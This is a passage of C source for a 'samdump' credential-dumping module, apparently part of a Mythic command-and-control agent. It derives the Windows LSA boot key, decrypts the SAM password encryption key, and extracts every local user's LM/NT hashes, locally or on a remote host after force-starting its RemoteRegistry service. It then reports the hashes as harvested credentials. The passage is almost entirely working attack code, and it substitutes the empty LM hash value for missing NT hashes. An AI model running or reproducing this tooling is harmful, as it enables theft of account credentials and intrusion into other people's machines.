DomainFixedData->PasswordEncryptionKey.Aes.Iv, + DomainFixedData->PasswordEncryptionKey.Aes.Key, + DomainFixedData->PasswordEncryptionKey.Aes.KeyLength); + + if (Result == TRUE) { + memcpy(PasswordEncryptionKey, DomainFixedData->PasswordEncryptionKey.Aes.Key, + DomainFixedData->PasswordEncryptionKey.Aes.KeyLength); + } + + return Result; + } + + default: + return FALSE; + } +} + +// AES-128 Decrypt +static BOOLEAN Aes128Decrypt(PUCHAR Key, PUCHAR Iv, PUCHAR Ciphertext, ULONG CiphertextLength) { + HCRYPTPROV Provider; + BOOL Result = CryptAcquireContextA(&Provider, 0, 0, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); + + if (Result == FALSE) { + return FALSE; + } + + HCRYPTKEY KeyHandle = 0; + + UCHAR Buffer[sizeof(BLOBHEADER) + sizeof(ULONG) + 16]; + BLOBHEADER* KeyBlob = (BLOBHEADER*)Buffer; + + KeyBlob->bType = PLAINTEXTKEYBLOB; + KeyBlob->bVersion = CUR_BLOB_VERSION; + KeyBlob->reserved = 0; + KeyBlob->aiKeyAlg = CALG_AES_128; + + *(PULONG)(Buffer + sizeof(BLOBHEADER)) = 16; + memcpy(Buffer + sizeof(BLOBHEADER) + sizeof(ULONG), Key, 16); + + Result = CryptImportKey(Provider, Buffer, sizeof(Buffer), 0, 0, &KeyHandle); + + if (Result == FALSE) { + CryptReleaseContext(Provider, 0); + return FALSE; + } + + ULONG Mode = CRYPT_MODE_CBC; + Result = CryptSetKeyParam(KeyHandle, KP_MODE, (PUCHAR)(&Mode), 0); + + if (Result == FALSE) { + CryptDestroyKey(KeyHandle); + CryptReleaseContext(Provider, 0); + return FALSE; + } + + Result = CryptSetKeyParam(KeyHandle, KP_IV, Iv, 0); + + if (Result == FALSE) { + CryptDestroyKey(KeyHandle); + CryptReleaseContext(Provider, 0); + return FALSE; + } + + DWORD dwDataLen = CiphertextLength; + Result = CryptDecrypt(KeyHandle, 0, TRUE, 0, Ciphertext, &dwDataLen); + + CryptDestroyKey(KeyHandle); + CryptReleaseContext(Provider, 0); + return Result; +} + +// Query user variable attributes +static NTSTATUS QueryUserVariableAttributes(HANDLE KeyHandle, PKEY_VALUE_PARTIAL_INFORMATION* ValueInformation) { + UNICODE_STRING VariableAttributesValueName = RTL_CONSTANT_STRING(L"V"); + ULONG ResultLength; + NTSTATUS Status = pNtQueryValueKey(KeyHandle, &VariableAttributesValueName, KeyValuePartialInformation, 0, 0, &ResultLength); + + if (Status != STATUS_BUFFER_TOO_SMALL) { + return Status; + } + + PKEY_VALUE_PARTIAL_INFORMATION ValueInfo = (PKEY_VALUE_PARTIAL_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ResultLength); + + if (ValueInfo == NULL) { + return STATUS_INSUFFICIENT_RESOURCES; + } + + Status = pNtQueryValueKey(KeyHandle, &VariableAttributesValueName, KeyValuePartialInformation, ValueInfo, ResultLength, &ResultLength); + + if (!NT_SUCCESS(Status)) { + HeapFree(GetProcessHeap(), 0, ValueInfo); + return Status; + } + + *ValueInformation = ValueInfo; + return Status; +} + +// Decrypt hash and extract LM/NT hashes +// hashType: 0 = LM, 1 = NT +static VOID DecryptHash(PATTRIBUTE_TABLE_ENTRY HashTableEntry, PSAM_HASH Hash, PUCHAR PasswordEncryptionKey, ULONG UserRid, BOOLEAN isLMHash, PBYTE* outputHash) { + *outputHash = NULL; + + if (HashTableEntry->Length == 0) { + return; + } + + PUCHAR DataBuffer = Hash->Revision == 1 ? (PUCHAR)(Hash->Rc4.Data) : (PUCHAR)(Hash->Aes.Data); + // Calculate data length: total length minus header size + // For RC4: header is PekId (2) + Revision (2) = 4 bytes + // For AES: header is PekId (2) + Revision (2) + DataOffset (4) + Iv (16) = 24 bytes + USHORT DataLength; + if (Hash->Revision == 1) { + DataLength = HashTableEntry->Length - 4; // Minus PekId + Revision + } else { + DataLength = HashTableEntry->Length - 24; // Minus PekId + Revision + DataOffset + Iv + } + + if (DataLength == 0) { + return; + } + + // Decrypt based on revision + if (Hash->Revision == 1) { + // RC4 decryption + CHAR PasswordString[32]; + if (isLMHash) { + strncpy(PasswordString, "LMPASSWORD", sizeof(PasswordString) - 1); + PasswordString[sizeof(PasswordString) - 1] = '\0'; + } else { + strncpy(PasswordString, "NTPASSWORD", sizeof(PasswordString) - 1); + PasswordString[sizeof(PasswordString) - 1] = '\0'; + } + + UCHAR md5Input[64]; + memcpy(md5Input, PasswordEncryptionKey, PEK_SIZE); + memcpy(md5Input + PEK_SIZE, &UserRid, sizeof(ULONG)); + memcpy(md5Input + PEK_SIZE + sizeof(ULONG), PasswordString, strlen(PasswordString)); + + UCHAR md5Digest[MD5_DIGEST_LENGTH]; + MD5Hash(md5Input, PEK_SIZE + sizeof(ULONG) + (ULONG)strlen(PasswordString), md5Digest); + + STRING Data; + Data.Length = Data.MaximumLength = DataLength; + Data.Buffer = (PCHAR)DataBuffer; + + STRING Key; + Key.Length = Key.MaximumLength = MD5_DIGEST_LENGTH; + Key.Buffer = (PCHAR)md5Digest; + + if (!NT_SUCCESS(pSystemFunction033(&Data, &Key))) { + return; + } + } else if (Hash->Revision == 2) { + // AES decryption + if (!Aes128Decrypt(PasswordEncryptionKey, Hash->Aes.Iv, DataBuffer, DataLength)) { + return; + } + } else { + return; + } + + // Final DES decryption + UCHAR Buffer[16]; + NTSTATUS Status = pSystemFunction027(DataBuffer, &UserRid, Buffer); + + if (NT_SUCCESS(Status)) { + *outputHash = (PBYTE)HeapAlloc(GetProcessHeap(), 0, 16); + if (*outputHash) { + memcpy(*outputHash, Buffer, 16); + } + } +} + +// Dump password hashes for all users +// credentials_paquete: temporary package to accumulate credentials (will be added to respuesta after output) +static VOID DumpPasswordHashes(PUCHAR PasswordEncryptionKey, PNTOPENKEYEX OpenKeyEx, PPaquete credentials_paquete, PPaquete salida) { + HANDLE UsersKey; + UNICODE_STRING KeyName = RTL_CONSTANT_STRING(L"\\Registry\\Machine\\SAM\\SAM\\Domains\\Account\\Users"); + OBJECT_ATTRIBUTES KeyAttributes; + + InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + NTSTATUS Status; + + if (OpenKeyEx == NULL) { + Status = pNtOpenKey(&UsersKey, KEY_ENUMERATE_SUB_KEYS, &KeyAttributes); + } else { + Status = OpenKeyEx(&UsersKey, KEY_ENUMERATE_SUB_KEYS, &KeyAttributes, REG_OPTION_BACKUP_RESTORE); + } + + if (!NT_SUCCESS(Status)) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Could not open Users key: 0x%08lX\n", Status); + return; + } + + KEY_FULL_INFORMATION KeyInformation; + ULONG ResultLength; + + Status = pNtQueryKey(UsersKey, KeyFullInformation, &KeyInformation, sizeof(KEY_FULL_INFORMATION), &ResultLength); + + if (!NT_SUCCESS(Status)) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to query Users key: 0x%08lX\n", Status); + NtClose(UsersKey); + return; + } + + UCHAR Buffer[USER_SUBKEY_INFORMATION_SIZE]; + PKEY_BASIC_INFORMATION SubkeyInformation = (PKEY_BASIC_INFORMATION)Buffer; + + KeyAttributes.RootDirectory = UsersKey; + + // Enumerate users (subtract 1 to exclude "Names" subkey) + for (ULONG Index = 0; Index < KeyInformation.SubKeys - 1; Index++) { + Status = pNtEnumerateKey(UsersKey, Index, KeyBasicInformation, SubkeyInformation, USER_SUBKEY_INFORMATION_SIZE, &ResultLength); + + if (!NT_SUCCESS(Status)) { + continue; + } + + KeyAttributes.ObjectName->Length = (USHORT)SubkeyInformation->NameLength; + KeyAttributes.ObjectName->MaximumLength = (USHORT)SubkeyInformation->NameLength; + KeyAttributes.ObjectName->Buffer = SubkeyInformation->Name; + + HANDLE SubkeyHandle; + + if (OpenKeyEx == NULL) { + Status = pNtOpenKey(&SubkeyHandle, KEY_READ, &KeyAttributes); + } else { + Status = OpenKeyEx(&SubkeyHandle, KEY_READ, &KeyAttributes, REG_OPTION_BACKUP_RESTORE); + } + + if (!NT_SUCCESS(Status)) { + continue; + } + + // Query fixed attributes + UCHAR FixedDataBuffer[100]; + PSAM_USER_FIXED_DATA UserFixedData = (PSAM_USER_FIXED_DATA)(((PKEY_VALUE_PARTIAL_INFORMATION)(FixedDataBuffer))->Data); + UNICODE_STRING FixedAttributesValueName = RTL_CONSTANT_STRING(L"F"); + + Status = pNtQueryValueKey(SubkeyHandle, &FixedAttributesValueName, KeyValuePartialInformation, FixedDataBuffer, 100, &ResultLength); + + if (NT_SUCCESS(Status)) { + PKEY_VALUE_PARTIAL_INFORMATION ValueInformation; + Status = QueryUserVariableAttributes(SubkeyHandle, &ValueInformation); + + if (NT_SUCCESS(Status)) { + PSAM_USER_VARIABLE_DATA UserVariableData = (PSAM_USER_VARIABLE_DATA)(ValueInformation->Data); + + // Get username + UNICODE_STRING UserName; + UserName.Length = (USHORT)UserVariableData->UserName.Length; + UserName.MaximumLength = (USHORT)UserVariableData->UserName.Length; + UserName.Buffer = (PWCHAR)(UserVariableData->Data + UserVariableData->UserName.Offset); + + // Get RID + ULONG UserRid = wcstoul(KeyAttributes.ObjectName->Buffer, 0, 16); + + // Convert username to ANSI for output + CHAR usernameAnsi[256] = {0}; + WideCharToMultiByte(CP_ACP, 0, UserName.Buffer, UserName.Length / sizeof(WCHAR), usernameAnsi, sizeof(usernameAnsi) - 1, NULL, NULL); + + // Decrypt hashes + PBYTE lmHash = NULL; + PBYTE ntHash = NULL; + + if (UserVariableData->NTHash.Length != 0) { + PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->NTHash.Offset); + DecryptHash(&UserVariableData->NTHash, Hash, PasswordEncryptionKey, UserRid, FALSE, &ntHash); + } + + if (UserVariableData->LMHash.Length != 0) { + PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->LMHash.Offset); + DecryptHash(&UserVariableData->LMHash, Hash, PasswordEncryptionKey, UserRid, TRUE, &lmHash); + } + + // Build credential string first (before freeing hashes) + CHAR credentialString[512] = {0}; + snprintf(credentialString, sizeof(credentialString), "%s:%lu:", usernameAnsi, UserRid); + + // Add LM hash to credential string + if (lmHash) { + for (int i = 0; i < 16; i++) { + char hex[3]; + snprintf(hex, sizeof(hex), "%02x", lmHash[i]); + strncat(credentialString, hex, sizeof(credentialString) - strlen(credentialString) - 1); + } + } else { + strncat(credentialString, "aad3b435b51404eeaad3b435b51404ee", sizeof(credentialString) - strlen(credentialString) - 1); + } + strncat(credentialString, ":", sizeof(credentialString) - strlen(credentialString) - 1); + + // Add NT hash to credential string + if (ntHash) { + for (int i = 0; i < 16; i++) { + char hex[3]; + snprintf(hex, sizeof(hex), "%02x", ntHash[i]); + strncat(credentialString, hex, sizeof(credentialString) - strlen(credentialString) - 1); + } + } else { + strncat(credentialString, "aad3b435b51404eeaad3b435b51404ee", sizeof(credentialString) - strlen(credentialString) - 1); + } + + // Format output: username:RID:LM:NTLM::: + PackageAddFormatPrintf(salida, FALSE, "%s", credentialString); + PackageAddFormatPrintf(salida, FALSE, ":::\n"); + + // Report credential to Mythic (only if we have at least NT hash) + if (ntHash) { + addCredential(credentials_paquete, "hash", "", credentialString, usernameAnsi); + } + + // Free hashes after using them + if (lmHash) { + HeapFree(GetProcessHeap(), 0, lmHash); + } + if (ntHash) { + HeapFree(GetProcessHeap(), 0, ntHash); + } + + HeapFree(GetProcessHeap(), 0, ValueInformation); + } + } + + NtClose(SubkeyHandle); + } + + NtClose(UsersKey); +} + +// Get LSA System Key from loaded hive +static NTSTATUS GetLsaSystemKeyFromHive(PWCHAR HiveName, PUCHAR SystemKey) { + // Build path to loaded SYSTEM hive: \\Registry\\Machine\\\\CurrentControlSet\\Control\\Lsa + WCHAR KeyPath[512]; + swprintf(KeyPath, sizeof(KeyPath)/sizeof(WCHAR), L"\\Registry\\Machine\\%s\\CurrentControlSet\\Control\\Lsa", HiveName); + + HANDLE LsaKey; + UNICODE_STRING KeyName; + RtlInitUnicodeString(&KeyName, KeyPath); + OBJECT_ATTRIBUTES KeyAttributes; + + InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + NTSTATUS Status = pNtOpenKey(&LsaKey, KEY_ENUMERATE_SUB_KEYS, &KeyAttributes); + + if (!NT_SUCCESS(Status)) { + return Status; + } + + UNICODE_STRING KeyNames[4] = { + RTL_CONSTANT_STRING(L"JD"), + RTL_CONSTANT_STRING(L"Skew1"), + RTL_CONSTANT_STRING(L"GBG"), + RTL_CONSTANT_STRING(L"Data") + }; + + HANDLE KeyHandle; + UCHAR KeyParts[16]; + ULONG ResultLength; + + KeyAttributes.RootDirectory = LsaKey; + + for (UCHAR Index = 0; Index < 4; Index++) { + KeyAttributes.ObjectName = &KeyNames[Index]; + Status = pNtOpenKey(&KeyHandle, KEY_QUERY_VALUE, &KeyAttributes); + + if (!NT_SUCCESS(Status)) { + break; + } + + UCHAR Buffer[100] = { 0 }; + PKEY_NODE_INFORMATION NodeInformation = (PKEY_NODE_INFORMATION)Buffer; + + Status = pNtQueryKey(KeyHandle, KeyNodeInformation, NodeInformation, 100, &ResultLength); + NtClose(KeyHandle); + + if (!NT_SUCCESS(Status)) { + break; + } + + *(PULONG)(KeyParts + Index * 4) = _byteswap_ulong(wcstoul((PWCHAR)(Buffer + NodeInformation->ClassOffset), 0, 16)); + } + + if (NT_SUCCESS(Status)) { + // Permutate key parts (same as GetLsaSystemKey) + SystemKey[0] = KeyParts[8]; + SystemKey[1] = KeyParts[5]; + SystemKey[2] = KeyParts[4]; + SystemKey[3] = KeyParts[2]; + SystemKey[4] = KeyParts[11]; + SystemKey[5] = KeyParts[9]; + SystemKey[6] = KeyParts[13]; + SystemKey[7] = KeyParts[3]; + SystemKey[8] = KeyParts[0]; + SystemKey[9] = KeyParts[6]; + SystemKey[10] = KeyParts[1]; + SystemKey[11] = KeyParts[12]; + SystemKey[12] = KeyParts[14]; + SystemKey[13] = KeyParts[10]; + SystemKey[14] = KeyParts[15]; + SystemKey[15] = KeyParts[7]; + } + + NtClose(LsaKey); + return Status; +} + +// Get Password Encryption Key from loaded hive +static NTSTATUS GetPasswordEncryptionKeyFromHive(PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey, PWCHAR HiveName, PNTOPENKEYEX* OpenKeyEx) { + // Build path to loaded SAM hive: \\Registry\\Machine\\\\SAM\\Domains\\Account + WCHAR KeyPath[512]; + swprintf(KeyPath, sizeof(KeyPath)/sizeof(WCHAR), L"\\Registry\\Machine\\%s\\SAM\\Domains\\Account", HiveName); + + HANDLE AccountKey; + UNICODE_STRING KeyName; + RtlInitUnicodeString(&KeyName, KeyPath); + OBJECT_ATTRIBUTES KeyAttributes; + + InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + NTSTATUS Status = pNtOpenKey(&AccountKey, KEY_READ, &KeyAttributes); + + if (!NT_SUCCESS(Status)) { + return Status; + } + + UNICODE_STRING FixedAttributesValueName = RTL_CONSTANT_STRING(L"F"); + ULONG ResultLength; + PKEY_VALUE_PARTIAL_INFORMATION ValueInformation = NULL; + + Status = QueryUserVariableAttributes(AccountKey, &ValueInformation); + NtClose(AccountKey); + + if (!NT_SUCCESS(Status) || !ValueInformation) { + return Status; + } + + PSAM_DOMAIN_FIXED_DATA DomainFixedData = (PSAM_DOMAIN_FIXED_DATA)ValueInformation->Data; + + if (!DecryptPasswordEncryptionKey(LsaSystemKey, DomainFixedData, PasswordEncryptionKey)) { + HeapFree(GetProcessHeap(), 0, ValueInformation); + return STATUS_UNSUCCESSFUL; + } + + HeapFree(GetProcessHeap(), 0, ValueInformation); + *OpenKeyEx = NULL; // Not needed for loaded hives + return STATUS_SUCCESS; +} + +// Dump password hashes from loaded hive +static VOID DumpPasswordHashesFromHive(PUCHAR PasswordEncryptionKey, PWCHAR HiveName, PNTOPENKEYEX OpenKeyEx, PPaquete credentials_paquete, PPaquete salida) { + // Build path to loaded SAM hive: \\Registry\\Machine\\\\SAM\\Domains\\Account\\Users + WCHAR KeyPath[512]; + swprintf(KeyPath, sizeof(KeyPath)/sizeof(WCHAR), L"\\Registry\\Machine\\%s\\SAM\\Domains\\Account\\Users", HiveName); + + HANDLE UsersKey; + UNICODE_STRING KeyName; + RtlInitUnicodeString(&KeyName, KeyPath); + OBJECT_ATTRIBUTES KeyAttributes; + + InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + NTSTATUS Status = pNtOpenKey(&UsersKey, KEY_ENUMERATE_SUB_KEYS, &KeyAttributes); + + if (!NT_SUCCESS(Status)) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Could not open Users key: 0x%08lX\n", Status); + return; + } + + KEY_FULL_INFORMATION KeyInformation; + ULONG ResultLength; + + Status = pNtQueryKey(UsersKey, KeyFullInformation, &KeyInformation, sizeof(KEY_FULL_INFORMATION), &ResultLength); + + if (!NT_SUCCESS(Status)) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to query Users key: 0x%08lX\n", Status); + NtClose(UsersKey); + return; + } + + UCHAR Buffer[USER_SUBKEY_INFORMATION_SIZE]; + PKEY_BASIC_INFORMATION SubkeyInformation = (PKEY_BASIC_INFORMATION)Buffer; + + KeyAttributes.RootDirectory = UsersKey; + + // Enumerate users (subtract 1 to exclude "Names" subkey) + for (ULONG Index = 0; Index < KeyInformation.SubKeys - 1; Index++) { + Status = pNtEnumerateKey(UsersKey, Index, KeyBasicInformation, SubkeyInformation, USER_SUBKEY_INFORMATION_SIZE, &ResultLength); + + if (!NT_SUCCESS(Status)) { + continue; + } + + KeyAttributes.ObjectName->Length = (USHORT)SubkeyInformation->NameLength; + KeyAttributes.ObjectName->MaximumLength = (USHORT)SubkeyInformation->NameLength; + KeyAttributes.ObjectName->Buffer = SubkeyInformation->Name; + + HANDLE SubkeyHandle; + Status = pNtOpenKey(&SubkeyHandle, KEY_QUERY_VALUE, &KeyAttributes); + + if (!NT_SUCCESS(Status)) { + continue; + } + + PKEY_VALUE_PARTIAL_INFORMATION ValueInformation = NULL; + Status = QueryUserVariableAttributes(SubkeyHandle, &ValueInformation); + + if (NT_SUCCESS(Status) && ValueInformation) { + PSAM_USER_VARIABLE_DATA UserVariableData = (PSAM_USER_VARIABLE_DATA)(ValueInformation->Data); + + // Get username + UNICODE_STRING UserName; + UserName.Length = (USHORT)UserVariableData->UserName.Length; + UserName.MaximumLength = (USHORT)UserVariableData->UserName.Length; + UserName.Buffer = (PWCHAR)(UserVariableData->Data + UserVariableData->UserName.Offset); + + // Get RID from subkey name (the subkey name is the RID in hexadecimal) + ULONG UserRid = wcstoul(SubkeyInformation->Name, NULL, 16); + + // Convert username to ANSI for output + CHAR Username[256] = {0}; + WideCharToMultiByte(CP_ACP, 0, UserName.Buffer, UserName.Length / sizeof(WCHAR), Username, sizeof(Username) - 1, NULL, NULL); + + // Decrypt hashes + PBYTE lmHash = NULL; + PBYTE ntHash = NULL; + + if (UserVariableData->NTHash.Length != 0) { + PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->NTHash.Offset); + DecryptHash(&UserVariableData->NTHash, Hash, PasswordEncryptionKey, UserRid, FALSE, &ntHash); + } + + if (UserVariableData->LMHash.Length != 0) { + PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->LMHash.Offset); + DecryptHash(&UserVariableData->LMHash, Hash, PasswordEncryptionKey, UserRid, TRUE, &lmHash); + } + + // Format output + CHAR HashOutput[256]; + snprintf(HashOutput, sizeof(HashOutput), "%s:%lu:", Username, UserRid); + + if (lmHash) { + for (UCHAR i = 0; i < 16; i++) { + CHAR hex[3]; + snprintf(hex, sizeof(hex), "%02x", lmHash[i]); + strncat(HashOutput, hex, sizeof(HashOutput) - strlen(HashOutput) - 1); + } + } else { + strncat(HashOutput, "aad3b435b51404eeaad3b435b51404ee", sizeof(HashOutput) - strlen(HashOutput) - 1); + } + + strncat(HashOutput, ":", sizeof(HashOutput) - strlen(HashOutput) - 1); + + if (ntHash) { + for (UCHAR i = 0; i < 16; i++) { + CHAR hex[3]; + snprintf(hex, sizeof(hex), "%02x", ntHash[i]); + strncat(HashOutput, hex, sizeof(HashOutput) - strlen(HashOutput) - 1); + } + } else { + strncat(HashOutput, "aad3b435b51404eeaad3b435b51404ee", sizeof(HashOutput) - strlen(HashOutput) - 1); + } + + strncat(HashOutput, ":::\n", sizeof(HashOutput) - strlen(HashOutput) - 1); + + PackageAddFormatPrintf(salida, FALSE, "%s", HashOutput); + + // Add credential + if (ntHash && memcmp(ntHash, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16) != 0) { + addCredential(credentials_paquete, "hash", "", HashOutput, Username); + } + + // Free hashes after using them + if (lmHash) { + HeapFree(GetProcessHeap(), 0, lmHash); + } + if (ntHash) { + HeapFree(GetProcessHeap(), 0, ntHash); + } + + HeapFree(GetProcessHeap(), 0, ValueInformation); + } + + NtClose(SubkeyHandle); + } + + NtClose(UsersKey); +} + + +// Check if we can access SAM remotely (start Remote Registry service if needed) +static BOOL CanAccessSamRemotely(PWCHAR MachineName) { + // Open a handle to the SCM on the remote machine + SC_HANDLE ManagerHandle = OpenSCManagerW(MachineName, NULL, SC_MANAGER_CONNECT); + + if (ManagerHandle == NULL) { + return FALSE; + } + + // Open a handle to the remote registry service + SC_HANDLE ServiceHandle = OpenServiceW(ManagerHandle, L"RemoteRegistry", SERVICE_START | SERVICE_CHANGE_CONFIG); + + if (ServiceHandle == NULL) { + CloseServiceHandle(ManagerHandle); + return FALSE; + } + + BOOL Result; + + do { + // Try to start the service + Result = StartServiceW(ServiceHandle, 0, NULL); + + if (Result == TRUE) { + break; + } + + ULONG LastError = GetLastError(); + + if (LastError == ERROR_SERVICE_ALREADY_RUNNING) { + Result = TRUE; + break; + } + + if (LastError != ERROR_SERVICE_DISABLED) { + Result = FALSE; + break; + } + + // Change service config to allow starting + Result = ChangeServiceConfigW(ServiceHandle, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + + if (Result == FALSE) { + break; + } + + // Try to start again + Result = StartServiceW(ServiceHandle, 0, NULL); + + } while (FALSE); + + CloseServiceHandle(ServiceHandle); + CloseServiceHandle(ManagerHandle); + return Result; +} + +// Get LSA System Key from remote registry +static LONG GetLsaSystemKeyRemote(HKEY HklmHandle, PUCHAR SystemKey) { + // Open a handle to the LSA configuration key + HKEY LsaKey; + LSTATUS Status = RegOpenKeyExW(HklmHandle, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_QUERY_VALUE, &LsaKey); + + if (Status != ERROR_SUCCESS) { + // Try ControlSet001 as fallback + Status = RegOpenKeyExW(HklmHandle, L"SYSTEM\\ControlSet001\\Control\\Lsa", 0, KEY_QUERY_VALUE, &LsaKey); + if (Status != ERROR_SUCCESS) { + return Status; + } + } + + // The 16-byte key is split between four parts, in the ClassName value of the JD, Skew1, GBG and Data registry keys + LPCWSTR KeyNames[4] = { L"JD", L"Skew1", L"GBG", L"Data" }; + HKEY KeyHandle; + UCHAR KeyParts[16]; + ULONG BufferSize; + + for (UCHAR Index = 0; Index < 4; Index++) { + Status = RegOpenKeyExW(LsaKey, KeyNames[Index], 0, KEY_QUERY_VALUE, &KeyHandle); + + if (Status != ERROR_SUCCESS) { + break; + } + + WCHAR ClassName[10] = { 0 }; + BufferSize = sizeof(ClassName) / sizeof(WCHAR); + + Status = RegQueryInfoKeyW(KeyHandle, ClassName, &BufferSize, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + RegCloseKey(KeyHandle); + + if (Status != ERROR_SUCCESS) { + break; + } + + *(PULONG)(KeyParts + Index * 4) = _byteswap_ulong(wcstoul(ClassName, NULL, 16)); + } + + // Permutate the key parts in order to generate the final key + if (Status == ERROR_SUCCESS) { + SystemKey[0] = KeyParts[8]; + SystemKey[1] = KeyParts[5]; + SystemKey[2] = KeyParts[4]; + SystemKey[3] = KeyParts[2]; + SystemKey[4] = KeyParts[11]; + SystemKey[5] = KeyParts[9]; + SystemKey[6] = KeyParts[13]; + SystemKey[7] = KeyParts[3]; + SystemKey[8] = KeyParts[0]; + SystemKey[9] = KeyParts[6]; + SystemKey[10] = KeyParts[1]; + SystemKey[11] = KeyParts[12]; + SystemKey[12] = KeyParts[14]; + SystemKey[13] = KeyParts[10]; + SystemKey[14] = KeyParts[15]; + SystemKey[15] = KeyParts[7]; + } + + RegCloseKey(LsaKey); + return Status; +} + +// Get Password Encryption Key from remote registry +static LONG GetPasswordEncryptionKeyRemote(HKEY HklmHandle, PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey) { + // Open a handle to the "Account" key, which holds information about the local domain + HKEY AccountKey; + LSTATUS Status = RegOpenKeyExW(HklmHandle, L"SAM\\SAM\\Domains\\Account", REG_OPTION_BACKUP_RESTORE, KEY_QUERY_VALUE, &AccountKey); + + if (Status != ERROR_SUCCESS) { + return Status; + } + + do { + // Query the value of the "F" entry + ULONG RequiredLength; + Status = RegQueryValueExW(AccountKey, L"F", NULL, NULL, NULL, &RequiredLength); + + if (Status != ERROR_SUCCESS) { + break; + } + + PSAM_DOMAIN_FIXED_DATA DomainFixedData = (PSAM_DOMAIN_FIXED_DATA)(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, RequiredLength)); + + if (DomainFixedData == NULL) { + Status = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + Status = RegQueryValueExW(AccountKey, L"F", NULL, NULL, (PUCHAR)(DomainFixedData), &RequiredLength); + + if (Status == ERROR_SUCCESS) { + // Use the LSA system key to decrypt the PEK + BOOLEAN Result = DecryptPasswordEncryptionKey(LsaSystemKey, DomainFixedData, PasswordEncryptionKey); + + if (Result == FALSE) { + Status = ERROR_DECRYPTION_FAILED; + } + } + + HeapFree(GetProcessHeap(), 0, DomainFixedData); + + } while (FALSE); + + RegCloseKey(AccountKey); + return Status; +} + +// Query user variable attributes from remote registry +static LONG QueryUserVariableAttributesRemote(HKEY KeyHandle, PSAM_USER_VARIABLE_DATA* UserVariableData) { + ULONG RequiredLength; + LSTATUS Status = RegQueryValueExW(KeyHandle, L"V", NULL, NULL, NULL, &RequiredLength); + + if (Status != ERROR_SUCCESS) { + return Status; + } + + PSAM_USER_VARIABLE_DATA VariableData = (PSAM_USER_VARIABLE_DATA)(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, RequiredLength)); + + if (VariableData == NULL) { + return ERROR_NOT_ENOUGH_MEMORY; + } + + Status = RegQueryValueExW(KeyHandle, L"V", NULL, NULL, (PUCHAR)(VariableData), &RequiredLength); + + if (Status == ERROR_SUCCESS) { + *UserVariableData = VariableData; + } else { + HeapFree(GetProcessHeap(), 0, VariableData); + } + + return Status; +} + +// Dump password hashes from remote registry +static VOID DumpPasswordHashesRemote(HKEY HklmHandle, PUCHAR PasswordEncryptionKey, PPaquete credentials_paquete, PPaquete salida) { + // Open a handle to the "Users" key + HKEY UsersKey; + LSTATUS Status = RegOpenKeyExW(HklmHandle, L"SAM\\SAM\\Domains\\Account\\Users", REG_OPTION_BACKUP_RESTORE, KEY_ENUMERATE_SUB_KEYS, &UsersKey); + + if (Status != ERROR_SUCCESS) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Could not open Users key: %ld\n", Status); + return; + } + + // Query the number of subkeys. Subtract one from this value (since we are not counting "Names") + ULONG NumberOfSubkeys; + Status = RegQueryInfoKeyW(UsersKey, NULL, NULL, NULL, &NumberOfSubkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + + if (Status != ERROR_SUCCESS) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed querying number of Users subkeys: %ld\n", Status); + RegCloseKey(UsersKey); + return; + } + + WCHAR KeyName[10]; + + for (ULONG Index = 0; Index < NumberOfSubkeys - 1; Index++) { + // RegEnumKeyW queries information about a subkey by its index + Status = RegEnumKeyW(UsersKey, Index, KeyName, sizeof(KeyName) / sizeof(WCHAR)); + + if (Status != ERROR_SUCCESS) { + break; + } + + // Open a handle to the subkey + HKEY SubkeyHandle; + Status = RegOpenKeyExW(UsersKey, KeyName, REG_OPTION_BACKUP_RESTORE, KEY_QUERY_VALUE, &SubkeyHandle); + + if (Status != ERROR_SUCCESS) { + continue; + } + + // Query the fixed and variable attributes of the user + UCHAR Buffer[100]; + PSAM_USER_FIXED_DATA UserFixedData = (PSAM_USER_FIXED_DATA)(Buffer); + ULONG DataLength = sizeof(Buffer); + + Status = RegQueryValueExW(SubkeyHandle, L"F", NULL, NULL, (PUCHAR)(UserFixedData), &DataLength); + + if (Status == ERROR_SUCCESS || Status == ERROR_MORE_DATA) { + PSAM_USER_VARIABLE_DATA UserVariableData; + Status = QueryUserVariableAttributesRemote(SubkeyHandle, &UserVariableData); + + if (Status == ERROR_SUCCESS) { + // Get username + UNICODE_STRING UserName; + UserName.Length = (USHORT)UserVariableData->UserName.Length; + UserName.MaximumLength = (USHORT)UserVariableData->UserName.Length; + UserName.Buffer = (PWCHAR)(UserVariableData->Data + UserVariableData->UserName.Offset); + + // Get RID + ULONG UserRid = wcstoul(KeyName, NULL, 16); + + // Convert username to ANSI for output + CHAR usernameAnsi[256] = {0}; + WideCharToMultiByte(CP_ACP, 0, UserName.Buffer, UserName.Length / sizeof(WCHAR), usernameAnsi, sizeof(usernameAnsi) - 1, NULL, NULL); + + // Decrypt hashes + PBYTE lmHash = 